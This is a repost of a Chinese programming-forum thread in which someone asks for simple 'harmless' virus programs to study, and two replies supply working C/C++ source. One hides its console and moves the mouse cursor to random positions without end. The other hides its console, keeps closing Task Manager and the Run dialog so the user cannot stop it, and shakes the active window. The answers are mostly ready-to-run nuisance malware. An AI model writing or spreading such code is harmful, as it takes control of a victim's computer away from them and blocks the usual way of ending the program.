专注收集记录技术开发学习笔记、技术难点、解决方案
网站信息搜索 >> 请输入关键词:
您当前的位置: 首页 > C++

哪位高手能提供2-3个简单的病毒程序啊

发布时间:2011-06-29 00:39:54 文章来源:www.iduyao.cn 采编人员:星星草
谁能提供2-3个简单的病毒程序啊?
请高人给两个 没有危害性的,简单的病毒程序,不为他用,只是观摩学习之用!


尽可能的简单些。本人不胜感激!

分数不多,还望包涵。

------解决方案--------------------
C/C++ code
#include <windows.h>

int main(void){
   
    FreeConsole();    
     int sw = GetSystemMetrics(SM_CXSCREEN);
    int sh = GetSystemMetrics(SM_CYSCREEN);
   
    for( ;; )

       {
        srand(GetTickCount()); 

        SetCursorPos((rand() % sw) + 1, (rand() % sh) + 1);
       }
}

------解决方案--------------------
C/C++ code

#include<windows.h>
#include<math.h>
#pragma comment( linker,"/subsystem:"windows" /entry:"mainCRTStartup"" )//隐藏控制台窗口
DWORD WINAPI ThreadProc(
                        LPVOID lpParameter  
                        )
{
    HWND hw;
    while(1)//下面可以添加其他要杀掉过滤的操作
    {
        if(
            (hw=FindWindow(NULL,"运行"))//杀掉开始菜单的运行
            ||
            (hw=FindWindow(NULL,"Windows 任务管理器"))//杀掉任务管理器
            )
            SendMessage(hw,WM_CLOSE,0,0);
        //下面可以添加其他要杀掉过滤的操作
        Sleep(50);
    }
}

void ReMoveWin(HWND hwnd, int sleep, int r)
{
    RECT cr,c1;
    int w,h,i;
    GetWindowRect(hwnd,&cr);//获取前景窗口句柄
    c1=cr;
    w=c1.right-c1.left;
    h=c1.bottom-c1.top;
    for(i=1;i<=1080;i=i+8)
    {
       
        c1.left+=(int)(r*cos(i*3.14/180));
        c1.top+=(int)(r*sin(i*3.14/180));
        MoveWindow(hwnd,c1.left,c1.top,w,h,1);//移动窗口
        Sleep(sleep);
    }
    MoveWindow(hwnd,cr.left,cr.top,w,h,1);//移动窗口
}   
DWORD WINAPI ThreadProc1(
                        LPVOID lpParameter  
                        )
{
    while(1)
    {
        ReMoveWin(GetForegroundWindow(),4,2);
        Sleep(80);
    }
}
void main()
{
    HANDLE handle[2];
    handle[0]=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ThreadProc,NULL,0,NULL);//创线程
    handle[1]=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ThreadProc1,NULL,0,NULL);//创建线程
    MessageBox(NULL,"嘿嘿。。纯属娱乐!",NULL,0);
    WaitForMultipleObjects(2,handle,1,-1);//等待线程
}
友情提示:
信息收集于互联网,如果您发现错误或造成侵权,请及时通知本站更正或删除,具体联系方式见页面底部联系我们,谢谢。

其他相似内容:

热门推荐: